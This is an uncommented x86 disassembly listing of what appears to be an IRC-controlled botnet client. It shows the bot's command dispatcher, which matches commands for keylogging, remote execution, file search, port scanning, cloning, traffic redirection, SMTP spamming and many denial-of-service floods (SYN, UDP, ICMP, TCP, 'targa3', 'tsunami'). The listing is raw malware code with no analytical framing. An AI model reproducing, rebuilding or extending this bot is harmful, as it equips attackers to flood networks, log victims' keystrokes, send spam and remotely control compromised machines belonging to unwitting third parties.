		mov	[ebp+var_E3C], eax
		jnz	short loc_405D1E
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D1E
		mov	esi, [ebp+var_88]


loc_405D1E:				; CODE XREF: sub_401AC7+4239j
					; sub_401AC7+424Fj
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131AA
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_405D9E


loc_405D88:				; CODE XREF: sub_401AC7+42D5j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_405D88
; ---------------------------------------------------------------------------


loc_405D9E:				; CODE XREF: sub_401AC7+42BFj
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_42B528
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405DAF:				; CODE XREF: sub_401AC7+41F9j
		push	edi
		push	offset aOff	; "off"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081DE
		push	ebx
		push	21h
		call	sub_40B5A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DDD
		push	eax
		push	offset unk_42B4EC
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405DDD:				; CODE XREF: sub_401AC7+4309j
		push	offset unk_42B4C0
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405DE7:				; CODE XREF: sub_401AC7+41E4j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EBA
		push	edi
		push	offset aOn	; "on"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E82
		push	2
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_405E25
		push	offset dword_42B498
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405E25:				; CODE XREF: sub_401AC7+4352j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3AD
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BBE
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C254[esi], eax
		jnz	loc_4081DE
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset dword_42B438
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405E82:				; CODE XREF: sub_401AC7+4346j
		push	edi
		push	offset aOff	; "off"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081DE
		push	ebx
		push	2
		call	sub_40B5A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB0
		push	eax
		push	offset dword_42B400
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405EB0:				; CODE XREF: sub_401AC7+43DCj
		push	offset dword_42B3E0
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405EBA:				; CODE XREF: sub_401AC7+4331j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D1A
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D1A
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF1
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF1
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4061B2
		cmp	dword_4C93D4, ebx
		jz	short loc_405F47
		cmp	dword_4C93FC, ebx
		jz	short loc_405F47
		push	offset unk_42B388
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_405F47:				; CODE XREF: sub_401AC7+446Cj
					; sub_401AC7+4474j
		cmp	[ebp+var_C], ebx
		jz	loc_406C42
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F6F
		push	eax
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F6F:				; CODE XREF: sub_401AC7+4498j
		push	edi
		push	offset aStart	; "start"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FD5
		cmp	[ebp+arg_18], ebx
		jz	short loc_405FA9
		push	[ebp+arg_0]
		push	3


loc_405F8A:				; CODE XREF: sub_401AC7+4524j
					; sub_401AC7+453Cj ...
		call	sub_418BBF
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 14h
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_405FA9:				; CODE XREF: sub_401AC7+44BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418E66
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FCB
		push	offset unk_42B35C
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_405FCB:				; CODE XREF: sub_401AC7+44F8j
		push	offset unk_42B33C
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_405FD5:				; CODE XREF: sub_401AC7+44B7j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FED
		push	[ebp+arg_0]
		push	4
		jmp	short loc_405F8A
; ---------------------------------------------------------------------------


loc_405FED:				; CODE XREF: sub_401AC7+451Dj
		push	edi
		push	offset aPause	; "pause"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406005
		push	[ebp+arg_0]
		push	5
		jmp	short loc_405F8A
; ---------------------------------------------------------------------------


loc_406005:				; CODE XREF: sub_401AC7+4535j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406020
		push	[ebp+arg_0]
		push	6
		jmp	loc_405F8A
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401AC7+454Dj
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40603B
		push	[ebp+arg_0]
		push	1
		jmp	loc_405F8A
; ---------------------------------------------------------------------------


loc_40603B:				; CODE XREF: sub_401AC7+4568j
		push	edi
		push	offset aShare	; "share"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060B8
		cmp	[ebp+arg_18], ebx
		jz	short loc_40608B
		cmp	[ebp+var_8FC], bl
		jz	short loc_406061
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40606C
; ---------------------------------------------------------------------------


loc_406061:				; CODE XREF: sub_401AC7+4590j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_40606C:				; CODE XREF: sub_401AC7+4598j
		call	sub_418FA3
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 18h
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_40608B:				; CODE XREF: sub_401AC7+4588j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419198
		add	esp, 10h
		test	eax, eax
		jz	short loc_4060AE
		push	offset unk_42B2FC
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4060AE:				; CODE XREF: sub_401AC7+45DBj
		push	offset unk_42B2DC
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4060B8:				; CODE XREF: sub_401AC7+4583j
		push	edi
		push	offset aUser	; "user"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40615A
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40612D
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060EE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40610E
; ---------------------------------------------------------------------------


loc_4060EE:				; CODE XREF: sub_401AC7+4613j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_40610A
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40610E
; ---------------------------------------------------------------------------


loc_40610A:				; CODE XREF: sub_401AC7+463Cj
		push	ebx
		push	eax
		push	2


loc_40610E:				; CODE XREF: sub_401AC7+4625j
					; sub_401AC7+4641j
		call	sub_4192B9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 24h
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_40612D:				; CODE XREF: sub_401AC7+460Bj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4197CD
		add	esp, 10h
		test	eax, eax
		jz	short loc_406150
		push	offset unk_42B2BC
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_406150:				; CODE XREF: sub_401AC7+467Dj
		push	offset unk_42B29C
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_40615A:				; CODE XREF: sub_401AC7+4600j
		push	edi
		push	offset aSend	; "send"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061A8
		cmp	[ebp+arg_18], ebx
		jz	short loc_40619E
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419A81
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401AC7+46A7j
		push	offset unk_42B270
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_401AC7+46A2j
		push	offset unk_42B254
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4061B2:				; CODE XREF: sub_401AC7+4460j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_4061E0:				; CODE XREF: sub_401AC7+3C93j
					; sub_401AC7+3CC9j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BB1
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BB1
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B5B
		push	[ebp+arg_8]
		push	offset dword_42B93C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B5B
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AED
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AED
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E0
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E0
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895E
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895E
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088F0
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088F0
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088CA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088CA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40886A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40886A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408772
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408772
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086A0
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086A0
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085CB
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085CB
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408530
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408530
		push	[ebp+arg_8]
		push	offset aHadeth	; "HADETH"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083A7
		push	[ebp+arg_8]
		push	offset aHadeth	; "HADETH"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083A7
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408314
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408314
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408208
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408208
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408192
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408192
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40809B
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40809B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FB3
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FB3
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EBA
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EBA
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EBA
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066F3
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3AD
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset dword_415208
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4066E2


loc_4066CC:				; CODE XREF: sub_401AC7+4C19j
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D2D
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_4066CC
; ---------------------------------------------------------------------------


loc_4066E2:				; CODE XREF: sub_401AC7+4C03j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_4066F3:				; CODE XREF: sub_401AC7+4B59j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DD2
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DD2
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406820
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42B098
		push	eax
		mov	[ebp+var_36AC],	esi
		call	sub_41C006
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	10h
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset byte_41416D
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40680F


loc_4067F9:				; CODE XREF: sub_401AC7+4D46j
		cmp	[ebp+var_349C],	ebx
		jnz	loc_4071DD
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_4067F9
; ---------------------------------------------------------------------------


loc_40680F:				; CODE XREF: sub_401AC7+4D30j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset dword_42B05C
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_406820:				; CODE XREF: sub_401AC7+4C6Bj
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CEA
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CEA
		push	[ebp+arg_8]
		push	offset aNazel	; "NAZEL"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BAF
		push	[ebp+arg_8]
		push	offset aNazel	; "NAZEL"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BAF
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AB5
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AB5
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079C2
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079C2
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4078ED
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4078ED
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077DB
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077DB
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076D5
		push	[ebp+arg_8]
		push	offset dword_42AFF0
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076D5
		push	[ebp+arg_8]
		push	offset off_42AFEC
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071FD
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071FD
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070B7
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070B7
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070B7
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FA9
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FA9
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E82
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E82
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E82
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A9E
		push	edi
		call	sub_41B4CF
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	loc_401F6C
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_40408E
; ---------------------------------------------------------------------------


loc_406A9E:				; CODE XREF: sub_401AC7+4FA1j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CD2
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CD2
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C7A
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C620
		push	[ebp+arg_18]
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C620
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C620
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	[ebp+esi+var_7C]
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C620
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4C9274
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4C9388
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4C9384
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4C9304
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C006
		add	esp, 1Ch
